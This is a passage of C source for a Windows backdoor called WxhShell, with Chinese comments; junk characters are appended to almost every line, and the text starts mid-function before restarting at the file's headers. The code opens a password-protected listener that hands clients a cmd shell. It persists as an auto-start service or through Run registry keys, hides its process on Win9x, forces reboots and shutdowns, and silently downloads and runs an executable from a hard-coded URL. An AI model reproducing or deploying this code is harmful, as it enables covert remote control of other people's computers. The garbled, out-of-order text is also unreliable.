    closesocket(wsh); 5? *Iaw  
    ExitThread(0); 4@=[r Zb9  
    } P5__[aTD  
    break; 00pe4^U  
    } x\8gb#8  
  // 关机 th}&|Y)T2  
  case 'd': { 8=u88?Bh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ESNfL5  
    if(Boot(SHUTDOWN)) 5MK.>3fE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}@Z*.HZL  
    else { B$MHn?  
    closesocket(wsh); 3j2d&*0  
    ExitThread(0); Ls'8  
    } R'qBG(?i  
    break; #rQT)n  
    } \jr-^n]  
  // 获取shell ~!6 I.u  
  case 's': { kH?PEA! \  
    CmdShell(wsh); g ,yB^^%  
    closesocket(wsh); GW2v&Ul7(  
    ExitThread(0); K~+x@O*  
    break; A>6_h1  
  } Awe'MGp%  
  // 退出 x\pygzQ/  
  case 'x': { :=\`P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d?><+!a  
    CloseIt(wsh); |nY+Nen7  
    break; ~?B\+6<V  
    } e}iv vs2  
  // 离开 $]MOAj"LH  
  case 'q': { U04)XfO;]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !, {-q)'D  
    closesocket(wsh); -BH T'zq1S  
    WSACleanup(); KN~Repcz@  
    exit(1); uFL!* #A  
    break; @%!Gj{   
        } Y#FSU# a$<  
  } z8 K#G%,:  
  } y1#QP3'Z1  
2[Xe:)d  
  // 提示信息 06I(01M1   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %>t4ib_8  
} *_"lXcG.  
  } orhze Oi\  
0oo_m6ie&  
  return; =Ds&ArG  
} 4"eeEs h  
EGj zjuJu{  
// shell模块句柄 AjINO}b  
int CmdShell(SOCKET sock) ~>$z1o&}.  
{ ' wKTWmf?\  
STARTUPINFO si; |sBL(9  
ZeroMemory(&si,sizeof(si)); -v=tM6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |T{ZDJ+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5#::42oE  
PROCESS_INFORMATION ProcessInfo; iOiXo6YE  
char cmdline[]="cmd"; Hnf?`j>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z|j\_VKhl  
  return 0; y2Vc[o(NP  
} yppXecFJ  
2>.>q9J(  
// 自身启动模式 l#a*w  
int StartFromService(void) Pz-=Eq  
{ ,&jjp eZP  
typedef struct BG+X8t8\  
{ =6B I[_0  
  DWORD ExitStatus; hroRDD   
  DWORD PebBaseAddress; a]4|XJ_  
  DWORD AffinityMask; j2jUrl  
  DWORD BasePriority; uKo4nXVtp  
  ULONG UniqueProcessId; >Vb V<ak  
  ULONG InheritedFromUniqueProcessId; ;(IAhWE?7  
}   PROCESS_BASIC_INFORMATION;  =h}PL22  
Pcr;+'q  
PROCNTQSIP NtQueryInformationProcess; <9`/Y"\p  
aq8mD^j-&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cd$,,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }TU2o3Q  
o+?Ko=vYw  
  HANDLE             hProcess; qGgdWDn`  
  PROCESS_BASIC_INFORMATION pbi; 8\[qR_LV  
<"`P;,S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !&o>zU.  
  if(NULL == hInst ) return 0; =A; 79@bY  
j4h?"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K\$z,}0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,J'@e+jV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sJ|IW0Mr  
o Hrx$>W]  
  if (!NtQueryInformationProcess) return 0; 4<U6jB5  
@fd{5 >\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F=yE>[! LB  
  if(!hProcess) return 0; ~PCS_  
T7Yg^ -"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cQ/T:E7$`  
s=n_(}{ q  
  CloseHandle(hProcess); <@=w4\5j9  
x2+M0 }g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -ha[xM05  
if(hProcess==NULL) return 0; ;^P0+d^5C  
%xt\|Lt  
HMODULE hMod; dZ\T@9+j+  
char procName[255]; LY!.u?D`P  
unsigned long cbNeeded; vo2TP:  
%$F\o1S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I)4NCjcCw  
[Kd"M[1[ <  
  CloseHandle(hProcess); Zy > W2(<  
LU@+O12  
if(strstr(procName,"services")) return 1; // 以服务启动 n:YA4t7S  
DJHE6XJ   
  return 0; // 注册表启动 &r V  
} H$]FUv8  
sB`zk[ R;  
// 主模块 fh e%5#3  
int StartWxhshell(LPSTR lpCmdLine) YR$d\,#R  
{ ">S.~'ds  
  SOCKET wsl; +6 x:+9S  
BOOL val=TRUE; ^os|yRzV*M  
  int port=0; ow,=M%x"0  
  struct sockaddr_in door; +#ANc;2g  
~kPZh1n`  
  if(wscfg.ws_autoins) Install(); $ -f(.S  
j~Ubpf  
port=atoi(lpCmdLine); M hg_z.Z  
L@6T~  
if(port<=0) port=wscfg.ws_port; vm"dE4W=  
:@+@vM;gh  
  WSADATA data; 7(KVA1P66  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "_e /O&-cH  
q=cH ^`<.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,?s: s&4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 44cy_  
  door.sin_family = AF_INET; NeY,Of|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); woR }=\K  
  door.sin_port = htons(port); T13Jno  
.R {P%r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >zB0+l  
closesocket(wsl); I?i,21:5  
return 1; CT#N9  
} ~UV$(5&-  
e5fzV.'5  
  if(listen(wsl,2) == INVALID_SOCKET) { $9O%,U@  
closesocket(wsl); :[7.YQ   
return 1; }K\m.+%=d  
} < 5#}EiT5  
  Wxhshell(wsl); { Sn J  
  WSACleanup(); SiSx ym  
-pm^k-%v  
return 0; b n<}  
{V~G r  
} 5R7DD5c[  
S`GM#(t@_  
// 以NT服务方式启动 *Ldno`1O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C8.MoFfhe  
{ =qVD"Z]z  
DWORD   status = 0; ?]u=5gqUU  
  DWORD   specificError = 0xfffffff; {H%1sI  
0CRk&_ht  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~b.e9FhdA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S4BU!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w@ =Uf7  
  serviceStatus.dwWin32ExitCode     = 0; Og~3eL[1%C  
  serviceStatus.dwServiceSpecificExitCode = 0; au 5qbP  
  serviceStatus.dwCheckPoint       = 0; ;p'Ej'E  
  serviceStatus.dwWaitHint       = 0; %{M&"Mv  
:0RfA%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U49 `!~b7  
  if (hServiceStatusHandle==0) return; 96 !e:TU  
q%A.)1<'_  
status = GetLastError(); lGtTZ cg  
  if (status!=NO_ERROR) " )_-L8  
{ [boB4>.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S^4T#/  
    serviceStatus.dwCheckPoint       = 0; p/!P kKJ  
    serviceStatus.dwWaitHint       = 0; (}LLk +  
    serviceStatus.dwWin32ExitCode     = status; 5Mq7l$]h$  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ykd< }KE>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =HkB>w)h  
    return; x4vowF  
  } B7!dp`rPp  
w>ap8><4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !*l5%H  
  serviceStatus.dwCheckPoint       = 0; Sx3R 2-!Z  
  serviceStatus.dwWaitHint       = 0; Z>zW83a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G;3N"az  
} 11 >K\"K}  
* >XmJ6w  
// 处理NT服务事件,比如:启动、停止 oaJnLd90W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c$HZvv  
{ [Vaw$c-+[y  
switch(fdwControl) Fxr$j\bm  
{ J#^oUq  
case SERVICE_CONTROL_STOP: i+HHOT  
  serviceStatus.dwWin32ExitCode = 0; x<%V&<z1g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Lk~aM bw#  
  serviceStatus.dwCheckPoint   = 0; }\Mmp+<  
  serviceStatus.dwWaitHint     = 0; >'X[*:Cx  
  { oCftI':@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o|BEY3|  
  } To"J>:l  
  return; ir ^XZVR  
case SERVICE_CONTROL_PAUSE: 7D%}( pX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a yQB@2%  
  break; ;K9rE3  
case SERVICE_CONTROL_CONTINUE: 1Xi.OGl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zn@yt%PCV  
  break; + (|6Wv  
case SERVICE_CONTROL_INTERROGATE: JxM[LvVi  
  break; cc^[ u+  
}; $m-rn'Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h!L6NS_Q,  
} zU)Ib<$  
4D-4BxN*  
// 标准应用程序主函数 H_CX5=Nq^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nmZJ%n  
{ y`OL^D4  
nwm1YPs%v]  
// 获取操作系统版本 (n,!v)  
OsIsNt=GetOsVer(); 4/tp-dBip  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w_hGWpm  
a5AD$bP  
  // 从命令行安装 Q{0!N8']"  
  if(strpbrk(lpCmdLine,"iI")) Install(); E{Ux|r~  
JBKCa 3  
  // 下载执行文件 ZRd,V~iz  
if(wscfg.ws_downexe) { ZOK,P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dqw?3 KB  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z/S7ei@56  
} VTt{ 0 ~  
QP {V  
if(!OsIsNt) { +=/FKzT<  
// 如果时win9x,隐藏进程并且设置为注册表启动 WI$MT6  
HideProc(); , 9C~%c0Pw  
StartWxhshell(lpCmdLine); C<.Ny,U  
} "/zIsn7  
else  :nHa-N3  
  if(StartFromService()) pGO)9?j_N  
  // 以服务方式启动 Dr!g$,9  
  StartServiceCtrlDispatcher(DispatchTable); LT3ViCZ-n  
else dlx "L%  
  // 普通方式启动 NJ;D Qv  
  StartWxhshell(lpCmdLine); u`]J]gE  
7O,y%NWaK  
return 0; }RvP*i  
} 2yyJ19Iul  
^U`Bj*"2  
[;F%6MPK^  
 0"VL6$  
=========================================== h!L/ZeRaV  
AMhHq/Dw  
m*d {pX  
BSGC.>$s  
yR Zb_Mq9U  
tC,R^${#  
" 5IPZ;  
!Cpy )D(  
#include <stdio.h> x@ZxV*T^  
#include <string.h> kyFq  
#include <windows.h> (0=e ,1 n  
#include <winsock2.h> v?U;o&L(  
#include <winsvc.h> g(i_di  
#include <urlmon.h> ugwZAC  
XRMYR97  
#pragma comment (lib, "Ws2_32.lib") {F/0pvP9  
#pragma comment (lib, "urlmon.lib") csPziH$wl  
nYcj6?  
#define MAX_USER   100 // 最大客户端连接数 z|o7k;raH  
#define BUF_SOCK   200 // sock buffer Me HlxI  
#define KEY_BUFF   255 // 输入 buffer mP@< UjxI  
a}Dx"zl;  
#define REBOOT     0   // 重启 FSs<A@  
#define SHUTDOWN   1   // 关机 bk-veJR  
TA.ugF)h  
#define DEF_PORT   5000 // 监听端口 .^fVm  
oM&}akPE  
#define REG_LEN     16   // 注册表键长度 .@  3  
#define SVC_LEN     80   // NT服务名长度 tf VK  
INd:_cT4l  
// 从dll定义API }W:Rg}v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H+oQ L(i|_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t4RI%m\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &.zG?e.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 't+ J7  
V6:S<A  
// wxhshell配置信息 ,-11w7y\  
struct WSCFG { J 8z|ua  
  int ws_port;         // 监听端口 "h-G=vo,kl  
  char ws_passstr[REG_LEN]; // 口令 <}@*i  
  int ws_autoins;       // 安装标记, 1=yes 0=no XA&Vtgu  
  char ws_regname[REG_LEN]; // 注册表键名 oV)#s!  
  char ws_svcname[REG_LEN]; // 服务名 Rd?8LLz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 , : I:F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vqC!Ajm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U.fL uKt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5 (Lw-_y#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E^)>9f7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JH4hy9i  
m~[4eH,  
}; i;u#<y{E  
M x/G^yO9  
// default Wxhshell configuration :7,j%ELic  
struct WSCFG wscfg={DEF_PORT, rjFIK`_w  
    "xuhuanlingzhe", S~~G0GiW  
    1, ,G q?  
    "Wxhshell", e5g# a}  
    "Wxhshell", A &d67,&B  
            "WxhShell Service", 4O TuX!  
    "Wrsky Windows CmdShell Service", r~K5jL%z9  
    "Please Input Your Password: ", 78=a^gRB  
  1, H{}Nr 4  
  "http://www.wrsky.com/wxhshell.exe", 9; \a|8O  
  "Wxhshell.exe" @>r3=s.Q  
    }; (R.l{(A  
o =oXL2}  
// 消息定义模块 S,ENbP%0r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |XDbf3^6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E%[2NsOM]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X]Aobtz  
char *msg_ws_ext="\n\rExit."; N)kZ2|oD  
char *msg_ws_end="\n\rQuit."; u<VR;p:y  
char *msg_ws_boot="\n\rReboot..."; k10g %K4g  
char *msg_ws_poff="\n\rShutdown..."; 3 #8bG(  
char *msg_ws_down="\n\rSave to "; f: j9ze  
G^G= .9O  
char *msg_ws_err="\n\rErr!"; >@g+%K]  
char *msg_ws_ok="\n\rOK!"; HX;JO[0  
\E(Negt7  
char ExeFile[MAX_PATH]; ` XvuyH  
int nUser = 0; ;p/%)WW  
HANDLE handles[MAX_USER]; S%^*h{9u"  
int OsIsNt; W> +/N4  
^^9O9]  
SERVICE_STATUS       serviceStatus; !-cO 0c!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,ln=kj  
^=CO gO]e  
// 函数声明 BF="gZoU<  
int Install(void); -4%{Jb-1  
int Uninstall(void); g< F7UA  
int DownloadFile(char *sURL, SOCKET wsh); }nsxo5WP  
int Boot(int flag); '%W`:K'  
void HideProc(void); #nD]G#>e  
int GetOsVer(void); #FZoi:'Q  
int Wxhshell(SOCKET wsl); 4x2 ;@Pd  
void TalkWithClient(void *cs); !08\w@  
int CmdShell(SOCKET sock); q':P9 o*N?  
int StartFromService(void); u l-A'  
int StartWxhshell(LPSTR lpCmdLine); |7pi9  
w1Xe9'$Qb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wNfWHaH" m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); + a,x  
LX!MDZz  
// 数据结构和表定义 "f Ni3 <x]  
SERVICE_TABLE_ENTRY DispatchTable[] = S [$Os7  
{ 3pk=c-x  
{wscfg.ws_svcname, NTServiceMain}, `W*b?e| H1  
{NULL, NULL} ;8~tt I  
}; kKFhbHUZa  
;VS\'#{e  
// 自我安装 (lz Z=T  
int Install(void) oMUyP~1  
{ <`f~Z|/-_(  
  char svExeFile[MAX_PATH]; 38gHM9T xh  
  HKEY key; * NB:"1x  
  strcpy(svExeFile,ExeFile); ,. K}uW  
IyV%tOy  
// 如果是win9x系统,修改注册表设为自启动 Zv"qA  
if(!OsIsNt) { ?BEO(;'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xoYaL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G@N-+  
  RegCloseKey(key); a,YU)v^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ru5T0w";V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] 'B4O1  
  RegCloseKey(key); L'@@ewA  
  return 0; C-TATH%f^  
    } K:JM*4W  
  } 4g "_E  
} zz7#g U  
else { ssx #\  
0sR+@\  
// 如果是NT以上系统,安装为系统服务 pR,eus;8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D-S"?aO-  
if (schSCManager!=0) *}Cm/li/w  
{ !</Snsi  
  SC_HANDLE schService = CreateService Q+ogVvMq>  
  ( n a3st*3V_  
  schSCManager, Wu1">|  
  wscfg.ws_svcname, Lc?q0x^s  
  wscfg.ws_svcdisp, kWKAtv5@w  
  SERVICE_ALL_ACCESS, q=J8SvSRl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hgmo b"o  
  SERVICE_AUTO_START, u]uUm1Er  
  SERVICE_ERROR_NORMAL, |/M^q{h&7s  
  svExeFile, .!^}sp,E  
  NULL, }Y=X{3+~.  
  NULL, F5(DA  
  NULL, AB0>|.  
  NULL, +*')0I  
  NULL I&s!}$cD  
  ); d>YX18'<Q  
  if (schService!=0) px~:'U  
  { .}4^b\   
  CloseServiceHandle(schService); 4r- CF#o  
  CloseServiceHandle(schSCManager); .1@8rVp7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TEEt]R-y  
  strcat(svExeFile,wscfg.ws_svcname); ndE"v"_H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z"PU`v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d"#& VlKcv  
  RegCloseKey(key); $;Nw_S@  
  return 0; 7W7yjG3g  
    } z<~yns`Y.  
  } J^xIfV~ zt  
  CloseServiceHandle(schSCManager); f.{/PL  
} &~MM\,KML  
} l(j._j~p  
}^"#&w3<  
return 1; ys DGF@wZC  
} 62Q`&n6  
~ ~U,  
// 自我卸载 l2ww3)Z  
int Uninstall(void) Y2&hf6BE  
{ G{!adBna  
  HKEY key; #BOLq`9 f  
6EY W:o  
if(!OsIsNt) { 11Y4oS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s<b(@L 1  
  RegDeleteValue(key,wscfg.ws_regname); 4Mr)~f rc  
  RegCloseKey(key); U3rpmml  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mzH3Q564  
  RegDeleteValue(key,wscfg.ws_regname); :3 p&h[M  
  RegCloseKey(key); ;]A:(HSZj  
  return 0; U+7!Vpq  
  } C<"b99\2`  
} Q!`  
} )ipTm{  
else { AY)R2> fW%  
X6 SqOb\(a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z-;I,\Y%  
if (schSCManager!=0) (! "+\KY  
{ j#D( </T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .'Rz tBv  
  if (schService!=0) v_L?n7c  
  { sNbCOTow  
  if(DeleteService(schService)!=0) { qV&ai{G:  
  CloseServiceHandle(schService); _fmOTz G  
  CloseServiceHandle(schSCManager); y|h:{<  
  return 0; vIpitbFC  
  } \ x>#bql+  
  CloseServiceHandle(schService); 227 Z6#CF!  
  } 3Jj 3!aDB  
  CloseServiceHandle(schSCManager); G}N T[  
} bQBYzvd  
} a&)4Dv0  
-l i71.M  
return 1; 9Lp[y%{GP  
} T.B} k`$  
*R8qnvE\()  
// 从指定url下载文件 M7. fz"M  
int DownloadFile(char *sURL, SOCKET wsh) DFN  
{ EhK~S(r^  
  HRESULT hr; .N~YVul[a*  
char seps[]= "/"; H;kk:s'  
char *token; { cMf_qQ  
char *file; r]yI5 ;  
char myURL[MAX_PATH]; YH-+s   
char myFILE[MAX_PATH]; }&qr"z4  
D4;6}gRC  
strcpy(myURL,sURL); ;UoXj+Z  
  token=strtok(myURL,seps); (rB?@:zN  
  while(token!=NULL) OJTEvb6nPg  
  { q%\rj?U_  
    file=token; ,`.`}'  
  token=strtok(NULL,seps); w829 8Kl  
  } ^/_1y[j  
.In8!hjYy4  
GetCurrentDirectory(MAX_PATH,myFILE); 03^?+[C  
strcat(myFILE, "\\"); e}bY 9  
strcat(myFILE, file); r>.^4Z@  
  send(wsh,myFILE,strlen(myFILE),0); Y&y5^nG  
send(wsh,"...",3,0); 8iKupaaOX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4M3{P  
  if(hr==S_OK) S1G=hgF_L  
return 0;  OYwH$5  
else kf>L  
return 1; 6S6E 1~  
0\a;} S'g#  
} =[x @BzH  
lgei<\6~n5  
// 系统电源模块 g4CdzN~  
int Boot(int flag) = }6l.9  
{ s\dhQZw3  
  HANDLE hToken; $bo 5:c  
  TOKEN_PRIVILEGES tkp; +:m'a5Dm  
gW_^GrKpI  
  if(OsIsNt) { eHQ3K#M#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oNa*|CSE>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); & GM&,  
    tkp.PrivilegeCount = 1; vddh 2G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BBUXoz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "F8A:tR  
if(flag==REBOOT) { 8"2X 8C8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .p d_SQ~  
  return 0; 9_5tA'Q  
} Wzx Dnd<B  
else { 50J"cGs~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q?"-[6[v  
  return 0; @o6^"  
} 53jtwklA  
  } o;<oXv  
  else { Bp:i[9w  
if(flag==REBOOT) { a eo/4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BR[f{)a5  
  return 0; b*@y/ e\u`  
} 0"O22<K3a  
else { A"` (^#a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .f~x*@  
  return 0; q9mYhT/Im  
} p/GYfa dU  
} ~IP3~m D  
]'a9>o  
return 1; <+2M,fq+  
} ]&kzIxh  
_m8JU  
// win9x进程隐藏模块 BoMf#l.3B  
void HideProc(void) TRSR5D[  
{ c7$U0JO  
)/1,Ogb%_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {V{*rq<)  
  if ( hKernel != NULL ) K;}h u(*\]  
  { |Y42ZOK0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  _8G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v4V|j<R  
    FreeLibrary(hKernel); 8LouCv(>  
  } 5 LZ+~!2+  
oztfr<cUH  
return; std4Nyp  
} sG~5O\,E  
WF{rrU:  
// 获取操作系统版本 Gj}P6V _  
int GetOsVer(void) BHW8zY=F  
{ XCTee  
  OSVERSIONINFO winfo; s]p3dB#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B{0m0-l  
  GetVersionEx(&winfo); d;kdw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ua -cX3E  
  return 1; G()- NJ{  
  else aH1mW;,1u  
  return 0; fGD#|a;,  
} k 8Swra?j  
k!lz_Y  
// 客户端句柄模块 l'2a?1/q  
int Wxhshell(SOCKET wsl) kN)m"}gX  
{ ~+GMn[h  
  SOCKET wsh; LOkNDmj  
  struct sockaddr_in client; 9V%s1@K  
  DWORD myID; Ba],ONM4k  
*CH lg1  
  while(nUser<MAX_USER) oKJj?%dHK9  
{ PB :Lj  
  int nSize=sizeof(client); e Ert_@}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K 8gd?88  
  if(wsh==INVALID_SOCKET) return 1; !PzlrH)M=p  
u!X$M?D4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4?AggqW  
if(handles[nUser]==0) b]NSCu*)s  
  closesocket(wsh); coxMsDs  
else #.(6.Li  
  nUser++; J=gerdIk  
  } U0+Hk+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C>qKKLZ  
+##b}?S%  
  return 0; .cQ<F4)!tu  
} [Pu~kiN  
H?P:;1A]c  
// 关闭 socket C NNyz$  
void CloseIt(SOCKET wsh) mGXjSWsd  
{ Z5uetS^  
closesocket(wsh); kphv)a4z=  
nUser--; ( *(#;|m  
ExitThread(0); eoS8e$}  
} \wxS~T<&L  
]Xur/C2A  
// 客户端请求句柄 R18jju>Zr  
void TalkWithClient(void *cs) ov=[g l  
{ K>h=  
8gv \`  
  SOCKET wsh=(SOCKET)cs; aIv>X@U}  
  char pwd[SVC_LEN]; @}K'Ic  
  char cmd[KEY_BUFF]; T #&9|  
char chr[1]; L44/eyrp  
int i,j; 3+<}Hm+  
!po8[fz~x  
  while (nUser < MAX_USER) { ?Mg&e/^  
() Z!u%j  
if(wscfg.ws_passstr) { `5:Wv b>|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cp0@wC#d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $T\z  
  //ZeroMemory(pwd,KEY_BUFF); c]>s(/}T  
      i=0; :t6 w+h  
  while(i<SVC_LEN) { 5'/Ney9N  
SsDe\"?Q  
  // 设置超时 ThX%Uzd"[;  
  fd_set FdRead; ]w/`02w"$  
  struct timeval TimeOut; M ]dS>W%U  
  FD_ZERO(&FdRead); V fJYYR  
  FD_SET(wsh,&FdRead); vs/.'yD/C  
  TimeOut.tv_sec=8; vr|9NP]v  
  TimeOut.tv_usec=0; !_VKJZuH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +zQ a"Ep*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X ?/C9  
h&+dIk\[3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ji_3*(  
  pwd=chr[0]; ] ZGP  
  if(chr[0]==0xd || chr[0]==0xa) { bu[v[U4  
  pwd=0; kzG m D i  
  break; + RX{  
  } TKpka]nJ  
  i++; njveZav  
    } r^mP'#  
,YYyFMC7S  
  // 如果是非法用户,关闭 socket XO+^q9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l+'@y (}Q  
} wuCiO;w  
<FIc!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZR<T\w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $DZ\61  
_\YBB=Os  
while(1) { 66*/"dBwm  
0b9;v lGq$  
  ZeroMemory(cmd,KEY_BUFF); PpD ?TAlA  
.az +'1  
      // 自动支持客户端 telnet标准   #5xK&qA  
  j=0; Y '&&1 R  
  while(j<KEY_BUFF) { D.zEE-cGyb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vv4 w?K  
  cmd[j]=chr[0]; &13qlc6  
  if(chr[0]==0xa || chr[0]==0xd) { hA.?19<Z  
  cmd[j]=0; TT3GFP  
  break; \kU0D  
  } w yP|#Z\  
  j++; rmS.$h@7 m  
    } n`Pwo &  
HV-c DL  
  // 下载文件 ;0ap#6T  
  if(strstr(cmd,"http://")) { `LU[+F8<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Eg&xIyRmm  
  if(DownloadFile(cmd,wsh)) -&JUg o=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t{#B td  
  else FS7 _ldD  
